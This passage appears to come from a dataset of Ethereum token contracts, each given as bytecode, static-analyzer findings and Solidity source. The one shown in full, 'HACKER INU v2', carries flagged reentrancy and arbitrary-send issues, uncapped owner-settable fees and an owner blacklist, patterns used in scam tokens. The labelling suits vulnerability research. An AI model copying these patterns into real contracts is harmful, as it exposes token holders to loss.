6e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613a408161358f565b8114613a4b57600080fd5b50565b613a57816135a1565b8114613a6257600080fd5b50565b613a6e816135cd565b8114613a7957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202257de0bf8a21397d751b3b8d30837c13b7573749737cc5f56c88dff3e95e52e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
11
0xc3b23ea6b1bd46668311cd7a757acaf5aab76d12
/** ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ██╗███╗ ██╗██╗ ██╗ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██║████╗ ██║██║ ██║ ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ ██║██╔██╗ ██║██║ ██║ ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██║██║╚██╗██║██║ ██║ ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ██║██║ ╚████║╚██████╔╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ Token v2.0.0 Telegram: https://t.me/HackerINUPortal Twitter: https://twitter.com/hacker_inu Website: https://hackerinu.io SPDX-License-Identifier: MIT */ pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HackerInu is Context, IERC20, Ownable { string private constant _name = "HACKER INU v2"; string private constant _symbol = "HCKR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 public _totalSupply = 10000000 * 10**9; //Buy Fee uint256 private _liquidityFeeOnBuy = 0; uint256 private _treasuryFeeOnBuy = 700; uint256 private _devFeeOnBuy = 300; //Sell Fee uint256 private _liquidityFeeOnSell = 0; uint256 private _treasuryFeeOnSell = 1300; uint256 private _devFeeOnSell = 600; //Original Fee uint256 private _taxFee = _liquidityFeeOnSell + _treasuryFeeOnSell + _devFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public blacklist; address payable public _treasuryAddress = payable(0x04291298CE0050CFF34EA882D3dfE9a7Facaa2a6); address payable public _devAddress = payable(0x8cC5e6a4fD3Ab66F6c7781Be9482d6d7193E5891); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; uint256 private _tradingOpenDate; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 30000 * 10**9; // 0.3% uint256 public _maxWalletSize = 1000000 * 10**9; // 10% uint256 public _tokenSwapThreshold = 1000 * 10**9; //0.1% // Cooldown uint256 public cooldownTimeBound = 120 seconds; bool public cooldownEnabled = true; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_treasuryAddress] = true; _isExcludedFromFee[_devAddress] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeAllFee() private { if (_taxFee == 0) return; _previoustaxFee = _taxFee; _taxFee = 0; } function restoreAllFee() private { _taxFee = _previoustaxFee; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()] - amount ); return true; } // Transfer functions function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "TOKEN: Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!cooldownEnabled || (cooldown[from] < block.timestamp && cooldown[to] < block.timestamp), "TOKEN: Cooldown is enabled. Try again in a few minutes."); require( _tradingOpenDate < block.timestamp, "TOKEN: This account cannot send or receive tokens until trading is enabled" ); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require( !blacklist[from] && !blacklist[to], "TOKEN: Your account is blacklisted!" ); if (to != uniswapV2Pair) { require( balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!" ); cooldown[to] = block.timestamp + cooldownTimeBound; } if(from != uniswapV2Pair) { cooldown[from] = block.timestamp + cooldownTimeBound; } uint256 contractTokenBalance = balanceOf(address(this)); bool shouldSwap = contractTokenBalance >= _tokenSwapThreshold; if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (shouldSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapAndLiquidy(contractTokenBalance); } } bool takeFee = true; //Transfer Tokens if ( (_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair) ) { takeFee = false; } else { //Set Fee for Buys if (from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _liquidityFeeOnBuy + _treasuryFeeOnBuy + _devFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _liquidityFeeOnSell + _treasuryFeeOnSell + _devFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 feeAmount = (amount * _taxFee) / 10000; uint256 remainingAmount = amount - feeAmount; _balances[sender] = _balances[sender] - amount; _balances[address(this)] = _balances[address(this)] + feeAmount; _balances[recipient] = _balances[recipient] + remainingAmount; emit Transfer(sender, recipient, remainingAmount); } // Swap and send functions function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } // Add liquidity function function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapAndLiquidy(uint256 amount) private { // Split the contract balance into halves uint256 denominator = (_liquidityFeeOnBuy + _liquidityFeeOnSell + _treasuryFeeOnBuy + _treasuryFeeOnSell + _devFeeOnBuy + _devFeeOnSell) * 2; uint256 tokensToAddLiquidityWith = (amount * (_liquidityFeeOnBuy + _liquidityFeeOnSell)) / denominator; uint256 toSwap = amount - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForEth(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - (_liquidityFeeOnBuy + _liquidityFeeOnSell)); uint256 ethToAddLiquidityWith = unitBalance * (_liquidityFeeOnBuy + _liquidityFeeOnSell); if (ethToAddLiquidityWith > 0) { // Add liquidity to uniswap addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } // Send remaining ETH uint256 treasuryAmt = unitBalance * 2 * (_treasuryFeeOnBuy + _treasuryFeeOnSell); uint256 devAmt = unitBalance * 2 * (_devFeeOnBuy + _devFeeOnSell) > address(this).balance ? address(this).balance : unitBalance * 2 * (_devFeeOnBuy + _devFeeOnSell); if (treasuryAmt > 0) { (bool successtreasury, ) = _treasuryAddress.call{ value: treasuryAmt }(""); require(successtreasury, "Tx Failed"); } if (devAmt > 0) { (bool successdev, ) = _devAddress.call{value: devAmt}(""); require(successdev, "Tx Failed"); } } function manualSwapAndLiquify() external { require(_msgSender() == _devAddress); uint256 contractBalance = balanceOf(address(this)); swapAndLiquidy(contractBalance); } function blacklistAddresses(address[] memory _blacklist) public onlyOwner { for (uint256 i = 0; i < _blacklist.length; i++) { blacklist[_blacklist[i]] = true; } } function whitelistAddress(address whitelist) external onlyOwner { blacklist[whitelist] = false; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner { _isExcludedFromFee[account] = excluded; } function setLaunchDate(uint32 delay) public onlyOwner { uint32 blockTimestamp = uint32(block.timestamp % 2**32); _tradingOpenDate = delay + blockTimestamp + (blockTimestamp % 60); } function setCooldownTimeBound(uint256 timeInSeconds) external onlyOwner { cooldownTimeBound = timeInSeconds; } function setEnableCooldown(bool enable) external onlyOwner { cooldownEnabled = enable; } function setTreasuryWalletAddress(address payable newAddress) external onlyOwner { _treasuryAddress = newAddress; } function setDevWalletAddress(address payable newAddress) external onlyOwner { _devAddress = newAddress; } function setFee( uint256 liquidityFeeOnBuy, uint256 liquidityFeeOnSell, uint256 treasuryFeeOnBuy, uint256 treasuryFeeOnSell, uint256 devFeeOnBuy, uint256 devFeeOnSell ) public onlyOwner { _liquidityFeeOnBuy = liquidityFeeOnBuy; _liquidityFeeOnSell = liquidityFeeOnSell; _treasuryFeeOnBuy = treasuryFeeOnBuy; _treasuryFeeOnSell = treasuryFeeOnSell; _devFeeOnBuy = devFeeOnBuy; _devFeeOnSell = devFeeOnSell; } function setMinSwapTokensThreshold(uint256 tokenSwapThreshold) public onlyOwner { _tokenSwapThreshold = tokenSwapThreshold; } function setSwapEnabled(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } // Enable the current contract to receive ETH receive() external payable {} }
0x60806040526004361061021e5760003560e01c806374010ece11610123578063a9059cbb116100ab578063e01af92c1161006f578063e01af92c14610693578063e7800536146106b3578063ea1644d5146106d3578063f16f07ae146106f3578063f9f92be41461070957600080fd5b8063a9059cbb146105d3578063a985ceef146105f3578063af9549e01461060d578063bd9a3b6d1461062d578063dd62ed3e1461064d57600080fd5b80638da5cb5b116100f25780638da5cb5b146105325780638f9a55c01461055057806395d89b411461056657806398a5c31514610593578063a35d5641146105b357600080fd5b806374010ece146104bc57806377a54eb8146104dc5780637d1db4a5146104fc5780638743da6d1461051257600080fd5b80633eaaf86b116101a65780635efd930b116101755780635efd930b1461041c5780636af659291461043c57806370a082311461045c578063715018a614610492578063733b864f146104a757600080fd5b80633eaaf86b1461038d57806341566585146103a357806349bd5a5e146103c35780635342acb4146103e357600080fd5b806318160ddd116101ed57806318160ddd146102fc5780631c2a30e61461031b57806323b872dd1461033b578063313ce5671461035b5780633d562e7e1461037757600080fd5b806306fdde031461022a578063095ea7b314610272578063120a0612146102a25780631694505e146102c457600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600d81526c2420a1a5a2a91024a72a903b1960991b60208201525b6040516102699190611c97565b60405180910390f35b34801561027e57600080fd5b5061029261028d366004611ad4565b610739565b6040519015158152602001610269565b3480156102ae57600080fd5b506102c26102bd3660046119e4565b61074f565b005b3480156102d057600080fd5b506012546102e4906001600160a01b031681565b6040516001600160a01b039091168152602001610269565b34801561030857600080fd5b506006545b604051908152602001610269565b34801561032757600080fd5b506102c2610336366004611bcc565b6107a4565b34801561034757600080fd5b50610292610356366004611a5e565b6107e1565b34801561036757600080fd5b5060405160098152602001610269565b34801561038357600080fd5b5061030d60195481565b34801561039957600080fd5b5061030d60065481565b3480156103af57600080fd5b506102c26103be3660046119e4565b610833565b3480156103cf57600080fd5b506013546102e4906001600160a01b031681565b3480156103ef57600080fd5b506102926103fe3660046119e4565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561042857600080fd5b506102c26104373660046119e4565b61087e565b34801561044857600080fd5b506011546102e4906001600160a01b031681565b34801561046857600080fd5b5061030d6104773660046119e4565b6001600160a01b031660009081526002602052604090205490565b34801561049e57600080fd5b506102c26108ca565b3480156104b357600080fd5b506102c261093e565b3480156104c857600080fd5b506102c26104d7366004611be7565b61097a565b3480156104e857600080fd5b506102c26104f7366004611b00565b6109a9565b34801561050857600080fd5b5061030d60165481565b34801561051e57600080fd5b506010546102e4906001600160a01b031681565b34801561053e57600080fd5b506000546001600160a01b03166102e4565b34801561055c57600080fd5b5061030d60175481565b34801561057257600080fd5b506040805180820190915260048152632421a5a960e11b602082015261025c565b34801561059f57600080fd5b506102c26105ae366004611be7565b610a3f565b3480156105bf57600080fd5b506102c26105ce366004611be7565b610a6e565b3480156105df57600080fd5b506102926105ee366004611ad4565b610a9d565b3480156105ff57600080fd5b50601a546102929060ff1681565b34801561061957600080fd5b506102c2610628366004611a9f565b610aaa565b34801561063957600080fd5b506102c2610648366004611c2e565b610aff565b34801561065957600080fd5b5061030d610668366004611a25565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561069f57600080fd5b506102c26106ae366004611bcc565b610b46565b3480156106bf57600080fd5b506102c26106ce366004611c71565b610b8a565b3480156106df57600080fd5b506102c26106ee366004611be7565b610bf3565b3480156106ff57600080fd5b5061030d60185481565b34801561071557600080fd5b506102926107243660046119e4565b600f6020526000908152604090205460ff1681565b6000610746338484610c22565b50600192915050565b6000546001600160a01b031633146107825760405162461bcd60e51b815260040161077990611cec565b60405180910390fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107ce5760405162461bcd60e51b815260040161077990611cec565b601a805460ff1916911515919091179055565b60006107ee848484610d46565b6001600160a01b038416600090815260036020908152604080832033808552925290912054610829918691610824908690611e05565b610c22565b5060019392505050565b6000546001600160a01b0316331461085d5760405162461bcd60e51b815260040161077990611cec565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146108a85760405162461bcd60e51b815260040161077990611cec565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108f45760405162461bcd60e51b815260040161077990611cec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6011546001600160a01b0316336001600160a01b03161461095e57600080fd5b3060009081526002602052604090205461097781611381565b50565b6000546001600160a01b031633146109a45760405162461bcd60e51b815260040161077990611cec565b601655565b6000546001600160a01b031633146109d35760405162461bcd60e51b815260040161077990611cec565b60005b8151811015610a3b576001600f60008484815181106109f7576109f7611e9a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610a3381611e1c565b9150506109d6565b5050565b6000546001600160a01b03163314610a695760405162461bcd60e51b815260040161077990611cec565b601855565b6000546001600160a01b03163314610a985760405162461bcd60e51b815260040161077990611cec565b601955565b6000610746338484610d46565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161077990611cec565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b295760405162461bcd60e51b815260040161077990611cec565b600795909555600a93909355600891909155600b55600955600c55565b6000546001600160a01b03163314610b705760405162461bcd60e51b815260040161077990611cec565b601580549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314610bb45760405162461bcd60e51b815260040161077990611cec565b6000610bc564010000000042611e37565b9050610bd2603c82611e4b565b610bdc8284611daa565b610be69190611daa565b63ffffffff166014555050565b6000546001600160a01b03163314610c1d5760405162461bcd60e51b815260040161077990611cec565b601755565b6001600160a01b038316610c845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610779565b6001600160a01b038216610ce55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610779565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610daa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610779565b6001600160a01b038216610e0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610779565b60008111610e755760405162461bcd60e51b815260206004820152603060248201527f544f4b454e3a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610779565b6000546001600160a01b03848116911614801590610ea157506000546001600160a01b03838116911614155b1561124c57601a5460ff161580610ef157506001600160a01b03831660009081526005602052604090205442118015610ef157506001600160a01b03821660009081526005602052604090205442115b610f635760405162461bcd60e51b815260206004820152603760248201527f544f4b454e3a20436f6f6c646f776e20697320656e61626c65642e205472792060448201527f616761696e20696e206120666577206d696e757465732e0000000000000000006064820152608401610779565b4260145410610fed5760405162461bcd60e51b815260206004820152604a60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f6f72207265636569766520746f6b656e7320756e74696c2074726164696e67206064820152691a5cc8195b98589b195960b21b608482015260a401610779565b60165481111561103f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610779565b6001600160a01b0383166000908152600f602052604090205460ff1615801561108157506001600160a01b0382166000908152600f602052604090205460ff16155b6110d95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610779565b6013546001600160a01b0383811691161461119b5760175481611111846001600160a01b031660009081526002602052604090205490565b61111b9190611d92565b106111745760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610779565b6019546111819042611d92565b6001600160a01b0383166000908152600560205260409020555b6013546001600160a01b038481169116146111d7576019546111bd9042611d92565b6001600160a01b0384166000908152600560205260409020555b30600090815260026020526040902054601854601654908210159082106111fe5760165491505b80801561120e575060155460ff16155b801561122857506013546001600160a01b03868116911614155b801561123b5750601554610100900460ff165b156112495761124982611381565b50505b6001600160a01b03831660009081526004602052604090205460019060ff168061128e57506001600160a01b03831660009081526004602052604090205460ff165b806112c057506013546001600160a01b038581169116148015906112c057506013546001600160a01b03848116911614155b156112cd5750600061136f565b6013546001600160a01b0385811691161480156112f857506012546001600160a01b03848116911614155b1561131e576009546008546007546113109190611d92565b61131a9190611d92565b600d555b6013546001600160a01b03848116911614801561134957506012546001600160a01b03858116911614155b1561136f57600c54600b54600a546113619190611d92565b61136b9190611d92565b600d555b61137b84848484611637565b50505050565b6000600c54600954600b54600854600a5460075461139f9190611d92565b6113a99190611d92565b6113b39190611d92565b6113bd9190611d92565b6113c79190611d92565b6113d2906002611de6565b9050600081600a546007546113e79190611d92565b6113f19085611de6565b6113fb9190611dd2565b905060006114098285611e05565b9050476114158261165f565b60006114218247611e05565b90506000600a546007546114359190611d92565b61143f9087611e05565b6114499083611dd2565b90506000600a5460075461145d9190611d92565b6114679083611de6565b905080156114795761147986826117df565b6000600b5460085461148b9190611d92565b611496846002611de6565b6114a09190611de6565b9050600047600c546009546114b59190611d92565b6114c0866002611de6565b6114ca9190611de6565b116114f957600c546009546114df9190611d92565b6114ea856002611de6565b6114f49190611de6565b6114fb565b475b90508115611594576010546040516000916001600160a01b03169084908381818185875af1925050503d8060008114611550576040519150601f19603f3d011682016040523d82523d6000602084013e611555565b606091505b50509050806115925760405162461bcd60e51b8152602060048201526009602482015268151e0811985a5b195960ba1b6044820152606401610779565b505b801561162b576011546040516000916001600160a01b03169083908381818185875af1925050503d80600081146115e7576040519150601f19603f3d011682016040523d82523d6000602084013e6115ec565b606091505b50509050806116295760405162461bcd60e51b8152602060048201526009602482015268151e0811985a5b195960ba1b6044820152606401610779565b505b50505050505050505050565b806116445761164461189f565b61164f8484846118b5565b8061137b5761137b600e54600d55565b6015805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116a1576116a1611e9a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116f557600080fd5b505afa158015611709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172d9190611a08565b8160018151811061174057611740611e9a565b6001600160a01b0392831660209182029290920101526012546117669130911684610c22565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061179f908590600090869030904290600401611d21565b600060405180830381600087803b1580156117b957600080fd5b505af11580156117cd573d6000803e3d6000fd5b50506015805460ff1916905550505050565b6012546117f79030906001600160a01b031684610c22565b60125460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561185f57600080fd5b505af1158015611873573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118989190611c00565b5050505050565b600d546118a857565b600d8054600e5560009055565b6000612710600d54836118c89190611de6565b6118d29190611dd2565b905060006118e08284611e05565b6001600160a01b038616600090815260026020526040902054909150611907908490611e05565b6001600160a01b038616600090815260026020526040808220929092553081522054611934908390611d92565b30600090815260026020526040808220929092556001600160a01b03861681522054611961908290611d92565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119b59085815260200190565b60405180910390a35050505050565b80356119cf81611ec6565b919050565b803580151581146119cf57600080fd5b6000602082840312156119f657600080fd5b8135611a0181611ec6565b9392505050565b600060208284031215611a1a57600080fd5b8151611a0181611ec6565b60008060408385031215611a3857600080fd5b8235611a4381611ec6565b91506020830135611a5381611ec6565b809150509250929050565b600080600060608486031215611a7357600080fd5b8335611a7e81611ec6565b92506020840135611a8e81611ec6565b929592945050506040919091013590565b60008060408385031215611ab257600080fd5b8235611abd81611ec6565b9150611acb602084016119d4565b90509250929050565b60008060408385031215611ae757600080fd5b8235611af281611ec6565b946020939093013593505050565b60006020808385031215611b1357600080fd5b823567ffffffffffffffff80821115611b2b57600080fd5b818501915085601f830112611b3f57600080fd5b813581811115611b5157611b51611eb0565b8060051b604051601f19603f83011681018181108582111715611b7657611b76611eb0565b604052828152858101935084860182860187018a1015611b9557600080fd5b600095505b83861015611bbf57611bab816119c4565b855260019590950194938601938601611b9a565b5098975050505050505050565b600060208284031215611bde57600080fd5b611a01826119d4565b600060208284031215611bf957600080fd5b5035919050565b600080600060608486031215611c1557600080fd5b8351925060208401519150604084015190509250925092565b60008060008060008060c08789031215611c4757600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600060208284031215611c8357600080fd5b813563ffffffff81168114611a0157600080fd5b600060208083528351808285015260005b81811015611cc457858101830151858201604001528201611ca8565b81811115611cd6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d715784516001600160a01b031683529383019391830191600101611d4c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da557611da5611e6e565b500190565b600063ffffffff808316818516808303821115611dc957611dc9611e6e565b01949350505050565b600082611de157611de1611e84565b500490565b6000816000190483118215151615611e0057611e00611e6e565b500290565b600082821015611e1757611e17611e6e565b500390565b6000600019821415611e3057611e30611e6e565b5060010190565b600082611e4657611e46611e84565b500690565b600063ffffffff80841680611e6257611e62611e84565b92169190910692915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461097757600080fdfea264697066735822122019e23058bce680cc4cab3eb302b067cf3acaf828c13b8ce4a3dcb51035eb464764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
12
0xb628ca43cdb92695b84b4c54bea50fd16f24093b
/* ██████╗░██╗░░░██╗███╗░░░███╗██████╗░████████╗░█████╗░░██████╗████████╗██╗░█████╗░ ██╔══██╗██║░░░██║████╗░████║██╔══██╗╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝██║██╔══██╗ ██████╔╝██║░░░██║██╔████╔██║██████╔╝░░░██║░░░███████║╚█████╗░░░░██║░░░██║██║░░╚═╝ ██╔═══╝░██║░░░██║██║╚██╔╝██║██╔═══╝░░░░██║░░░██╔══██║░╚═══██╗░░░██║░░░██║██║░░██╗ ██║░░░░░╚██████╔╝██║░╚═╝░██║██║░░░░░░░░██║░░░██║░░██║██████╔╝░░░██║░░░██║╚█████╔╝ ╚═╝░░░░░░╚═════╝░╚═╝░░░░░╚═╝╚═╝░░░░░░░░╚═╝░░░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░╚═╝░╚════╝░ */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function 